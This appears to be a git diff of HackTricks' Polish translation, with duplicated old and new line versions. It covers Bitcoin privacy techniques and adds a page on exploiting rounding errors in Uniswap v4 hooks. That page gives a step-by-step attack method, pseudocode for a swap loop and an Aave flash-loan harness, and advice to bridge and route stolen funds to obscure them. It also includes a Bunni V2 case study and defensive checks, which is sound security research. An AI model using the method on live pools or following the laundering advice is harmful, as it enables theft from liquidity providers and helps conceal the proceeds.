If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Wymuszone Ponowne Użycie Adresu**
## **Forced Address Reuse**
Napastnicy mogą wysyłać małe kwoty na wcześniej używane adresy, mając nadzieję, że odbiorca połączy je z innymi wejściami w przyszłych transakcjach, łącząc w ten sposób adresy.
Atakujący mogą wysyłać małe kwoty na wcześniej używane adresy, licząc że odbiorca połączy je z innymi inputs w przyszłych transakcjach, w ten sposób łącząc adresy.
### Prawidłowe Zachowanie Portfela
### Correct Wallet Behavior
Portfele powinny unikać używania monet otrzymanych na już używanych, pustych adresach, aby zapobiec temu wyciekowi prywatności.
Wallets powinny unikać używania coins otrzymanych na już użytych, pustych adresach, aby zapobiec temu privacy leak.
## **Inne Techniki Analizy Blockchain**
## **Other Blockchain Analysis Techniques**
- **Dokładne Kwoty Płatności:** Transakcje bez reszty prawdopodobnie odbywają się między dwoma adresami należącymi do tego samego użytkownika.
- **Okrągłe Liczby:** Okrągła liczba w transakcji sugeruje, że jest to płatność, a nieokrągłe wyjście prawdopodobnie jest resztą.
- **Odcisk Portfela:** Różne portfele mają unikalne wzorce tworzenia transakcji, co pozwala analitykom zidentyfikować używane oprogramowanie i potencjalnie adres zmiany.
- **Korelacje Kwoty i Czasu:** Ujawnienie czasów lub kwot transakcji może sprawić, że transakcje będą śledzone.
- **Exact Payment Amounts:** Transakcje bez change są prawdopodobnie między dwoma adresami należącymi do tego samego użytkownika.
- **Round Numbers:** Zaokrąglona kwota w transakcji sugeruje płatność, a niezaokrąglone wyjście prawdopodobnie jest change.
- **Wallet Fingerprinting:** Różne wallets mają unikalne wzorce tworzenia transakcji, co pozwala analitykom zidentyfikować używane oprogramowanie i potencjalnie change address.
- **Amount & Timing Correlations:** Ujawnienie czasu lub kwoty transakcji może uczynić transakcje śledzalnymi.
## **Analiza Ruchu**
## **Traffic Analysis**
Monitorując ruch w sieci, napastnicy mogą potencjalnie powiązać transakcje lub bloki z adresami IP, naruszając prywatność użytkowników. Jest to szczególnie prawdziwe, jeśli podmiot obsługuje wiele węzłów Bitcoin, co zwiększa ich zdolność do monitorowania transakcji.
Monitorując network traffic, attackers mogą potencjalnie powiązać transakcje lub bloki z adresami IP, kompromitując prywatność użytkowników. Jest to szczególnie prawdziwe, jeśli podmiot obsługuje wiele Bitcoin nodes, zwiększając swoją zdolność do monitorowania transakcji.
## Więcej
## More
Aby uzyskać pełną listę ataków na prywatność i obrony, odwiedź [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonimowe Transakcje Bitcoin
# Anonymous Bitcoin Transactions
## Sposoby na Uzyskanie Bitcoinów Anonimowo
## Ways to Get Bitcoins Anonymously
- **Transakcje Gotówkowe**: Nabywanie bitcoinów za gotówkę.
- **Alternatywy Gotówkowe**: Zakup kart podarunkowych i wymiana ich online na bitcoiny.
- **Kopanie**: Najbardziej prywatną metodą zarabiania bitcoinów jest kopanie, szczególnie gdy jest wykonywane samodzielnie, ponieważ pule wydobywcze mogą znać adres IP górnika. [Informacje o Pulach Wydobywczych](https://en.bitcoin.it/wiki/Pooled_mining)
- **Kradzież**: Teoretycznie kradzież bitcoinów mogłaby być inną metodą na ich anonimowe zdobycie, chociaż jest to nielegalne i niezalecane.
- **Cash Transactions**: Pozyskanie bitcoin za gotówkę.
- **Cash Alternatives**: Kupowanie gift cards i wymiana ich online na bitcoin.
- **Mining**: Najbardziej prywatna metoda zdobywania bitcoinów to mining, szczególnie gdy wykonywana solo, ponieważ mining pools mogą znać IP kopacza. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Teoretycznie kradzież bitcoinów mogłaby być metodą anonimowego pozyskania, choć jest to nielegalne i niezalecane.
## Usługi Mieszania
## Mixing Services
Korzystając z usługi mieszania, użytkownik może **wysłać bitcoiny** i otrzymać **inne bitcoiny w zamian**, co utrudnia śledzenie oryginalnego właściciela. Jednak wymaga to zaufania do usługi, aby nie prowadziła logów i rzeczywiście zwróciła bitcoiny. Alternatywne opcje mieszania obejmują kasyna Bitcoin.
Używając mixing service, użytkownik może wysłać bitcoins i otrzymać inne bitcoins w zamian, co utrudnia śledzenie pierwotnego właściciela. Wymaga to jednak zaufania do usługi, że nie będzie przechowywać logów i że faktycznie zwróci bitcoins. Alternatywne opcje mixingowe obejmują Bitcoin casinos.
## CoinJoin
**CoinJoin** łączy wiele transakcji od różnych użytkowników w jedną, co komplikuje proces dla każdego, kto próbuje dopasować wejścia do wyjść. Mimo swojej skuteczności, transakcje z unikalnymi rozmiarami wejść i wyjść mogą nadal być potencjalnie śledzone.
CoinJoin łączy wiele transakcji od różnych użytkowników w jedną, komplikując proces dopasowywania inputs do outputs. Pomimo skuteczności, transakcje z unikalnymi rozmiarami inputów i outputów nadal mogą być potencjalnie śledzone.
Przykładowe transakcje, które mogły używać CoinJoin, to `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` i `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Aby uzyskać więcej informacji, odwiedź [CoinJoin](https://coinjoin.io/en). Dla podobnej usługi na Ethereum, sprawdź [Tornado Cash](https://tornado.cash), która anonimizuje transakcje z funduszami od górników.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
## PayJoin
Wariant CoinJoin, **PayJoin** (lub P2EP), maskuje transakcję między dwiema stronami (np. klientem a sprzedawcą) jako zwykłą transakcję, bez charakterystycznych równych wyjść typowych dla CoinJoin. To sprawia, że jest niezwykle trudne do wykrycia i może unieważnić heurystykę wspólnego posiadania wejść używaną przez podmioty nadzorujące transakcje.
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Transakcje takie jak powyższe mogą być PayJoin, zwiększając prywatność, jednocześnie pozostając nieodróżnialnymi od standardowych transakcji bitcoinowych.
Transakcje takie jak powyższa mogą być PayJoin, zwiększając prywatność przy pozostawaniu nie do odróżnienia od standardowych transakcji bitcoin.
**Wykorzystanie PayJoin może znacząco zakłócić tradycyjne metody nadzoru**, co czyni to obiecującym rozwojem w dążeniu do prywatności transakcyjnej.
**Wykorzystanie PayJoin może znacząco zakłócić tradycyjne metody nadzoru**, co czyni go obiecującym rozwiązaniem w dążeniu do prywatności transakcyjnej.
# Najlepsze praktyki dotyczące prywatności w kryptowalutach
# Najlepsze praktyki prywatności w kryptowalutach
## **Techniki synchronizacji portfeli**
Aby zachować prywatność i bezpieczeństwo, synchronizacja portfeli z blockchainem jest kluczowa. Dwie metody wyróżniają się:
Aby zachować prywatność i bezpieczeństwo, synchronizacja portfeli z blockchainem jest kluczowa. Wyróżniają się dwie metody:
- **Pełny węzeł**: Pobierając cały blockchain, pełny węzeł zapewnia maksymalną prywatność. Wszystkie transakcje kiedykolwiek dokonane są przechowywane lokalnie, co uniemożliwia przeciwnikom zidentyfikowanie, które transakcje lub adresy interesują użytkownika.
- **Filtrowanie bloków po stronie klienta**: Ta metoda polega na tworzeniu filtrów dla każdego bloku w blockchainie, co pozwala portfelom identyfikować odpowiednie transakcje bez ujawniania konkretnych zainteresowań obserwatorom sieci. Lekkie portfele pobierają te filtry, ściągając pełne bloki tylko wtedy, gdy znajdą dopasowanie z adresami użytkownika.
- **Full node**: Poprzez pobranie całego blockchainu, Full node zapewnia maksymalną prywatność. Wszystkie kiedykolwiek wykonane transakcje są przechowywane lokalnie, przez co przeciwnicy nie są w stanie ustalić, które transakcje lub adresy interesują użytkownika.
- **Client-side block filtering**: Ta metoda polega na tworzeniu filtrów dla każdego bloku w blockchainie, pozwalając portfelom identyfikować istotne transakcje bez ujawniania konkretnych zainteresowań obserwatorom sieci. Lightweight wallets pobierają te filtry, pobierając pełne bloki tylko wtedy, gdy zostanie znalezione dopasowanie do adresów użytkownika.
## **Wykorzystanie Tora dla anonimowości**
## **Wykorzystanie Tor dla anonimowości**
Biorąc pod uwagę, że Bitcoin działa w sieci peer-to-peer, zaleca się korzystanie z Tora, aby ukryć swój adres IP, zwiększając prywatność podczas interakcji z siecią.
Ponieważ Bitcoin działa w sieci peer-to-peer, zaleca się używanie Tor do maskowania adresu IP, co zwiększa prywatność podczas interakcji z siecią.
## **Zapobieganie ponownemu używaniu adresów**
## **Zapobieganie ponownemu użyciu adresu**
Aby chronić prywatność, ważne jest używanie nowego adresu dla każdej transakcji. Ponowne używanie adresów może narazić prywatność, łącząc transakcje z tą samą jednostką. Nowoczesne portfele zniechęcają do ponownego używania adresów poprzez swój design.
Aby chronić prywatność, ważne jest używanie nowego adresu przy każdej transakcji. Ponowne użycie adresów może zagrozić prywatności poprzez powiązanie transakcji z tym samym podmiotem. Nowoczesne portfele zniechęcają do ponownego używania adresów poprzez swój projekt.
## **Strategie dla prywatności transakcji**
## **Strategie prywatności transakcji**
- **Wiele transakcji**: Podzielenie płatności na kilka transakcji może zaciemnić kwotę transakcji, utrudniając ataki na prywatność.
- **Unikanie reszty**: Wybieranie transakcji, które nie wymagają wyjść z resztą, zwiększa prywatność, zakłócając metody wykrywania reszty.
- **Wiele wyjść z resztą**: Jeśli unikanie reszty nie jest możliwe, generowanie wielu wyjść z resztą może nadal poprawić prywatność.
- **Multiple transactions**: Podzielenie płatności na kilka transakcji może ukryć kwotę transakcji, uniemożliwiając ataki na prywatność.
- **Change avoidance**: Wybieranie transakcji, które nie wymagają wyjść z resztą (change outputs), zwiększa prywatność poprzez zakłócanie metod wykrywania reszty.
- **Multiple change outputs**: Jeśli uniknięcie reszty nie jest możliwe, wygenerowanie wielu change outputs może i tak poprawić prywatność.
# **Monero: Latarnia anonimowości**
Monero odpowiada na potrzebę absolutnej anonimowości w transakcjach cyfrowych, ustanawiając wysoki standard prywatności.
# **Ethereum: Gaz i transakcje**
# **Ethereum: Gas i transakcje**
## **Zrozumienie gazu**
## **Zrozumienie Gas**
Gaz mierzy wysiłek obliczeniowy potrzebny do wykonania operacji na Ethereum, wyceniany w **gwei**. Na przykład, transakcja kosztująca 2,310,000 gwei (lub 0.00231 ETH) wiąże się z limitem gazu i opłatą podstawową, z napiwkiem dla zachęcenia górników. Użytkownicy mogą ustawić maksymalną opłatę, aby upewnić się, że nie przepłacają, a nadwyżka jest zwracana.
Gas mierzy wysiłek obliczeniowy potrzebny do wykonania operacji na Ethereum, wyceniany w **gwei**. Na przykład transakcja kosztująca 2,310,000 gwei (czyli 0.00231 ETH) obejmuje limit gas, opłatę bazową i tip jako zachętę dla górników. Użytkownicy mogą ustawić maksymalną opłatę, aby nie przepłacić — nadpłata jest zwracana.
## **Wykonywanie transakcji**
Transakcje w Ethereum obejmują nadawcę i odbiorcę, którymi mogą być adresy użytkowników lub smart kontraktów. Wymagają one opłaty i muszą być wydobywane. Kluczowe informacje w transakcji obejmują odbiorcę, podpis nadawcy, wartość, opcjonalne dane, limit gazu i opłaty. Co ważne, adres nadawcy jest dedukowany z podpisu, eliminując potrzebę jego obecności w danych transakcji.
Transakcje w Ethereum obejmują nadawcę i odbiorcę, którymi mogą być zarówno adresy użytkowników, jak i smart contract. Wymagają opłaty i muszą zostać potwierdzone przez górników. Podstawowe informacje w transakcji to odbiorca, podpis nadawcy, wartość, opcjonalne dane, limit gas i opłaty. Co istotne, adres nadawcy jest wyprowadzany z podpisu, co eliminuje potrzebę umieszczania go w danych transakcji.
Te praktyki i mechanizmy są podstawowe dla każdego, kto chce zaangażować się w kryptowaluty, priorytetowo traktując prywatność i bezpieczeństwo.
Te praktyki i mechanizmy są podstawą dla każdego, kto chce korzystać z kryptowalut, priorytetowo traktując prywatność i bezpieczeństwo.
## Odniesienia
## Źródła
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -179,4 +181,12 @@ Te praktyki i mechanizmy są podstawowe dla każdego, kto chce zaangażować si
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

160
src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md Normal file
View File

@ -0,0 +1,160 @@
# Wykorzystania DeFi/AMM: Uniswap v4 — nadużycie precyzji/zaokrąglania w hookach
{{#include ../../banners/hacktricks-training.md}}
Ta strona opisuje klasę technik eksploitacji DeFi/AMM przeciwko DEX‑om w stylu Uniswap v4, które rozszerzają core math o niestandardowe hooki. Ostatni incydent w Bunni V2 wykorzystał błąd zaokrąglania/precyzji w Liquidity Distribution Function (LDF) wykonywanym przy każdej wymianie, co pozwoliło atakującemu na narastanie dodatnich kredytów i spuszczenie płynności.
Główna idea: jeśli hook implementuje dodatkowe księgowanie zależne od fixed‑point math, tick rounding i logiki progów, atakujący może skonstruować exact‑input swaps, które przekraczają konkretne progi tak, że różnice zaokrągleń kumulują się na jego korzyść. Powtarzanie wzorca i następne wypłacenie zawyżonego salda realizuje zysk, często finansowany flash loan.
## Tło: Uniswap v4 hooks i przebieg swapu
- Hooki to kontrakty, które PoolManager wywołuje w określonych punktach cyklu życia (np. beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Pools są inicjalizowane z PoolKey zawierającym adres hooks. Jeśli różny od zero, PoolManager wykonuje callbacki przy każdej istotnej operacji.
- Core math używa formatów fixed‑point takich jak Q64.96 dla sqrtPriceX96 oraz tick arithmetic z 1.0001^tick. Każda niestandardowa matematyka nakładana na to musi dokładnie dopasować semantykę zaokrągleń, by uniknąć dryfu invariant.
- Swaps mogą być exactInput lub exactOutput. W v3/v4 price przesuwa się wzdłuż ticków; przekroczenie granicy tick może aktywować/dezaktywować range liquidity. Hooki mogą implementować dodatkową logikę przy przekraczaniu progów/ticków.
## Archetyp podatności: dryf precyzji/zaokrąglania przy przekraczaniu progów
Typowy wzorzec podatny w niestandardowych hookach:
1. Hook oblicza delty płynności lub sald per‑swap używając integer division, mulDiv lub konwersji fixed‑point (np. token ↔ liquidity używając sqrtPrice i zakresów ticków).
2. Logika progów (np. rebalancing, stepwise redistribution lub aktywacja per‑range) jest uruchamiana, gdy rozmiar swapu lub ruch ceny przekroczy wewnętrzną granicę.
3. Zaokrąglanie jest stosowane niespójnie (np. obcinanie w kierunku zera, różnica floor vs ceil) między obliczeniami „forward” a ścieżką settlement. Małe rozbieżności nie znoszą się i zamiast tego kredytują callera.
4. Exact‑input swaps, precyzyjnie dobrane tak, by leżeć na obu stronach tych granic, wielokrotnie eksploatują dodatni remainder zaokrąglenia. Atakujący później wypłaca zgromadzony kredyt.
Warunki wstępne ataku
- Pool używający niestandardowego v4 hooka, który wykonuje dodatkową matematykę przy każdej wymianie (np. LDF/rebalancer).
- Przynajmniej jedna ścieżka wykonania, gdzie zaokrąglenie faworyzuje inicjatora swapu przy przekraczaniu progów.
- Możliwość powtarzania wielu swapów atomowo (flash loans idealne do dostarczenia tymczasowego float i amortyzacji kosztów gazu).
## Praktyczna metodologia ataku
1) Zidentyfikuj kandydackie pule z hookami
- Enumerate v4 pools i sprawdź PoolKey.hooks != address(0).
- Inspect hook bytecode/ABI pod kątem callbacków: beforeSwap/afterSwap i dowolnych niestandardowych metod rebalansujących.
- Szukaj matematyki, która: dzieli przez liquidity, konwertuje między token amounts a liquidity, lub agreguje BalanceDelta z zaokrąglaniem.
2) Zamodeluj matematykę hooka i progi
- Odtwórz formułę liquidity/redistribution hooka: wejścia typowo obejmują sqrtPriceX96, tickLower/Upper, currentTick, fee tier i net liquidity.
- Mapuj funkcje progów/stopni: ticki, bucket boundaries lub LDF breakpoints. Określ, po której stronie każdej granicy delta jest zaokrąglana.
- Zidentyfikuj miejsca, gdzie konwersje rzutują między uint256/int256, używają SafeCast lub polegają na mulDiv z implicit floor.
3) Skalibruj exact‑input swaps by przekraczały granice
- Użyj Foundry/Hardhat do symulacji i wyliczenia minimalnego Δin potrzebnego, by price przesunęła się tuż za granicę i uruchomiła branch hooka.
- Zweryfikuj, że afterSwap settlement kredytuje callera więcej niż koszt, pozostawiając dodatni BalanceDelta lub kredit w księgowości hooka.
- Powtarzaj swapy, żeby skumulować kredyt; potem wywołaj ścieżkę wypłaty/settlement hooka.
Example Foundry‑style test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundary‑crossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hook‑exposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
Kalibrowanie exactInput
- Oblicz ΔsqrtP dla kroku tick: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- Zaproksymuj Δin korzystając ze wzorów v3/v4: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Upewnij się, że kierunek zaokrąglenia zgadza się z matematyką core.
- Dostosuj Δin o ±1 wei wokół granicy, aby znaleźć branch, w której hook zaokrągla na twoją korzyść.
4) Zwiększ skalę za pomocą flash loans
- Pożycz dużą wartość nominalną (np. 3M USDT lub 2000 WETH), aby wykonać wiele iteracji atomowo.
- Wykonaj skalibrowaną pętlę swapów, następnie wycofaj i spłać w ramach callbacku flash loan.
Aave V3 flash loan skeleton
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run threshold‑crossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
bunniHook.withdrawCredits(address(this));
// repay
for (uint j; j < assets.length; ++j) {
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
}
return true;
}
```
5) Wyjście i replikacja między‑łańcuchowa
- Jeśli hooks są wdrożone na wielu łańcuchach, powtórz tę samą kalibrację dla każdego łańcucha.
- Mostuj środki z powrotem na docelowy łańcuch i opcjonalnie przepuść je przez protokoły pożyczkowe, aby zaciemnić przepływy.
## Typowe przyczyny błędów w obliczeniach hooków
- Mieszane semantyki zaokrągleń: mulDiv stosuje floor, podczas gdy dalsze ścieżki efektywnie zaokrąglają w górę; albo konwersje między token/liquidity stosują różne zaokrąglenia.
- Błędy wyrównania ticków: użycie niezaokrąglonych ticków w jednej ścieżce i zaokrągleń do najbliższego ticku w innej.
- Problemy ze znakiem/przepełnieniem BalanceDelta przy konwersji między int256 a uint256 podczas rozliczania.
- Utrata precyzji przy konwersjach Q64.96 (sqrtPriceX96) nieodzwierciedlona w mapowaniu odwrotnym.
- Ścieżki akumulacji: per‑swap pozostałości śledzone jako kredyty wypłacalne przez callera zamiast być spalane/zero‑sum.
## Wytyczne obronne
- Testowanie różnicowe: odwzoruj obliczenia hooka względem implementacji referencyjnej używając wysokoprecyzyjnej arytmetyki wymiernej i zapewnij równość lub ograniczony błąd nastawiony przeciw użytkownikowi (nigdy na jego korzyść).
- Testy inwariantów/własności:
- Suma delt (tokeny, liquidity) w różnych ścieżkach swap i korektach hooka musi zachowywać wartość modulo opłat.
- Żadna ścieżka nie powinna tworzyć dodatniego netto kredytu dla inicjatora swapu przy powtarzanych iteracjach exactInput.
- Testy progów/granic ticków wokół ±1 wei wejść zarówno dla exactInput, jak i exactOutput.
- Polityka zaokrągleń: scentralizuj helpery zaokrągleń, które zawsze zaokrąglają na niekorzyść użytkownika; usuń niespójne rzutowania i ukryte operacje floor.
- Miejsca rozliczeń: akumuluj nieuniknione resztki zaokrągleń w skarbcu protokołu albo spalaj je; nigdy nie przypisuj ich do msg.sender.
- Limity/ograniczenia: minimalne rozmiary swapów do triggerów rebalansowania; wyłącz rebalans jeśli delty są poniżej 1 wei; sanity‑check delt względem oczekiwanych zakresów.
- Przejrzyj callbacki hooków holistycznie: beforeSwap/afterSwap oraz before/after zmian liquidity powinny zgadzać się w kwestii wyrównania ticków i zaokrągleń delt.
## Studium przypadku: Bunni V2 (2025‑09‑02)
- Protokół: Bunni V2 (Uniswap v4 hook) z LDF stosowanym per swap do rebalansowania.
- Przyczyna: błąd zaokrągleń/precyzji w rozliczeniach liquidity LDF podczas swapów przekraczających progi; per‑swap rozbieżności kumulowały się jako dodatnie kredyty dla callera.
- Leg Ethereum: attacker wziął ~3M USDT flash loan, wykonał skalibrowane exact‑input swapy na USDC/USDT, aby zbudować kredyty, wypłacił zawyżone salda, spłacił i skierował środki przez Aave.
- Leg UniChain: powtórzył exploit z 2000 WETH flash loan, wyprowadził ~1366 WETH i mostował na Ethereum.
- Skutki: ~USD 8.3M wypompowane między łańcuchami. Nie wymagało interakcji użytkownika; w całości on‑chain.
## Lista kontrolna do wykrywania
- Czy pool używa nie‑zerowego adresu hooks? Które callbacki są włączone?
- Czy występują per‑swap redystrybucje/rebalansowania używające niestandardowej matematyki? Jakaś logika ticków/progów?
- Gdzie używane są dzielenia/mulDiv, konwersje Q64.96 lub SafeCast? Czy semantyka zaokrągleń jest globalnie spójna?
- Czy możesz skonstruować Δin, które ledwo przekracza granicę i daje korzystną gałąź zaokrągleń? Przetestuj oba kierunki oraz exactInput i exactOutput.
- Czy hook śledzi per‑caller kredyty lub delty, które mogą być później wypłacone? Upewnij się, że resztki są zneutralizowane.
## References
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
{{#include ../../banners/hacktricks-training.md}}

182
src/crypto-and-stego/blockchain-and-crypto-currencies.md
View File

@ -1,182 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
## Podstawowe Pojęcia
- **Smart Contracts** to programy, które wykonują się na blockchainie, gdy spełnione są określone warunki, automatyzując realizację umów bez pośredników.
- **Decentralized Applications (dApps)** opierają się na smart contracts, oferując przyjazny interfejs użytkownika oraz przejrzysty, audytowalny backend.
- **Tokens & Coins** różnią się tym, że monety służą jako cyfrowe pieniądze, podczas gdy tokeny reprezentują wartość lub własność w określonych kontekstach.
- **Utility Tokens** dają dostęp do usług, a **Security Tokens** oznaczają własność aktywów.
- **DeFi** oznacza Decentralized Finance, oferując usługi finansowe bez centralnych władz.
- **DEX** i **DAOs** odnoszą się do Decentralized Exchange Platforms i Decentralized Autonomous Organizations, odpowiednio.
## Mechanizmy Konsensusu
Mechanizmy konsensusu zapewniają bezpieczne i uzgodnione walidacje transakcji na blockchainie:
- **Proof of Work (PoW)** opiera się na mocy obliczeniowej do weryfikacji transakcji.
- **Proof of Stake (PoS)** wymaga, aby walidatorzy posiadali określoną ilość tokenów, co zmniejsza zużycie energii w porównaniu do PoW.
## Podstawy Bitcoina
### Transakcje
Transakcje Bitcoinowe polegają na transferze środków między adresami. Transakcje są weryfikowane za pomocą podpisów cyfrowych, co zapewnia, że tylko właściciel klucza prywatnego może inicjować transfery.
#### Kluczowe Komponenty:
- **Multisignature Transactions** wymagają wielu podpisów do autoryzacji transakcji.
- Transakcje składają się z **inputs** (źródło funduszy), **outputs** (cel), **fees** (płatne górnikom) oraz **scripts** (zasady transakcji).
### Lightning Network
Ma na celu zwiększenie skalowalności Bitcoina, pozwalając na wiele transakcji w ramach jednego kanału, transmitując tylko końcowy stan do blockchaina.
## Problemy z Prywatnością Bitcoina
Ataki na prywatność, takie jak **Common Input Ownership** i **UTXO Change Address Detection**, wykorzystują wzorce transakcji. Strategie takie jak **Mixers** i **CoinJoin** poprawiają anonimowość, zaciemniając powiązania transakcyjne między użytkownikami.
## Nabywanie Bitcoinów Anonimowo
Metody obejmują transakcje gotówkowe, kopanie oraz korzystanie z mixerów. **CoinJoin** łączy wiele transakcji, aby skomplikować śledzenie, podczas gdy **PayJoin** maskuje CoinJoins jako zwykłe transakcje dla zwiększonej prywatności.
# Ataki na Prywatność Bitcoina
# Podsumowanie Ataków na Prywatność Bitcoina
W świecie Bitcoina prywatność transakcji i anonimowość użytkowników są często przedmiotem obaw. Oto uproszczony przegląd kilku powszechnych metod, za pomocą których napastnicy mogą naruszyć prywatność Bitcoina.
## **Założenie Własności Wspólnego Wejścia**
Zazwyczaj rzadko zdarza się, aby wejścia od różnych użytkowników były łączone w jednej transakcji z powodu związanej z tym złożoności. Dlatego **dwa adresy wejściowe w tej samej transakcji często zakłada się, że należą do tego samego właściciela**.
## **Wykrywanie Adresu Zmiany UTXO**
UTXO, czyli **Unspent Transaction Output**, musi być całkowicie wydany w transakcji. Jeśli tylko część z niego jest wysyłana na inny adres, reszta trafia na nowy adres zmiany. Obserwatorzy mogą założyć, że ten nowy adres należy do nadawcy, co narusza prywatność.
### Przykład
Aby to złagodzić, usługi miksujące lub korzystanie z wielu adresów mogą pomóc w zaciemnieniu własności.
## **Ekspozycja w Sieciach Społecznościowych i Forach**
Użytkownicy czasami dzielą się swoimi adresami Bitcoinowymi w Internecie, co sprawia, że **łatwo jest powiązać adres z jego właścicielem**.
## **Analiza Grafów Transakcji**
Transakcje można wizualizować jako grafy, ujawniające potencjalne powiązania między użytkownikami na podstawie przepływu funduszy.
## **Heurystyka Niepotrzebnego Wejścia (Heurystyka Optymalnej Zmiany)**
Ta heurystyka opiera się na analizie transakcji z wieloma wejściami i wyjściami, aby zgadnąć, które wyjście jest zmianą wracającą do nadawcy.
### Przykład
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Jeśli dodanie większej liczby wejść sprawia, że wyjście zmienia się na większe niż jakiekolwiek pojedyncze wejście, może to zmylić heurystykę.
## **Wymuszone Ponowne Użycie Adresu**
Napastnicy mogą wysyłać małe kwoty na wcześniej używane adresy, mając nadzieję, że odbiorca połączy je z innymi wejściami w przyszłych transakcjach, łącząc w ten sposób adresy.
### Prawidłowe Zachowanie Portfela
Portfele powinny unikać używania monet otrzymanych na już używanych, pustych adresach, aby zapobiec temu wyciekowi prywatności.
## **Inne Techniki Analizy Blockchain**
- **Dokładne Kwoty Płatności:** Transakcje bez reszty prawdopodobnie odbywają się między dwoma adresami należącymi do tego samego użytkownika.
- **Okrągłe Liczby:** Okrągła liczba w transakcji sugeruje, że jest to płatność, a nieokrągłe wyjście prawdopodobnie jest resztą.
- **Odcisk Portfela:** Różne portfele mają unikalne wzorce tworzenia transakcji, co pozwala analitykom zidentyfikować używane oprogramowanie i potencjalnie adres zmiany.
- **Korelacje Kwoty i Czasu:** Ujawnienie czasów lub kwot transakcji może sprawić, że transakcje będą śledzone.
## **Analiza Ruchu**
Monitorując ruch w sieci, napastnicy mogą potencjalnie powiązać transakcje lub bloki z adresami IP, naruszając prywatność użytkowników. Jest to szczególnie prawdziwe, jeśli podmiot obsługuje wiele węzłów Bitcoin, co zwiększa ich zdolność do monitorowania transakcji.
## Więcej
Aby uzyskać pełną listę ataków na prywatność i obrony, odwiedź [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonimowe Transakcje Bitcoin
## Sposoby na Uzyskanie Bitcoinów Anonimowo
- **Transakcje Gotówkowe**: Nabywanie bitcoinów za gotówkę.
- **Alternatywy Gotówkowe**: Zakup kart podarunkowych i wymiana ich online na bitcoiny.
- **Kopanie**: Najbardziej prywatną metodą zdobywania bitcoinów jest kopanie, szczególnie gdy jest wykonywane samodzielnie, ponieważ pule wydobywcze mogą znać adres IP górnika. [Informacje o Pulach Wydobywczych](https://en.bitcoin.it/wiki/Pooled_mining)
- **Kradzież**: Teoretycznie, kradzież bitcoinów mogłaby być inną metodą na ich anonimowe zdobycie, chociaż jest to nielegalne i niezalecane.
## Usługi Mieszania
Korzystając z usługi mieszania, użytkownik może **wysłać bitcoiny** i otrzymać **inne bitcoiny w zamian**, co utrudnia śledzenie oryginalnego właściciela. Jednak wymaga to zaufania do usługi, aby nie prowadziła logów i rzeczywiście zwróciła bitcoiny. Alternatywne opcje mieszania obejmują kasyna Bitcoin.
## CoinJoin
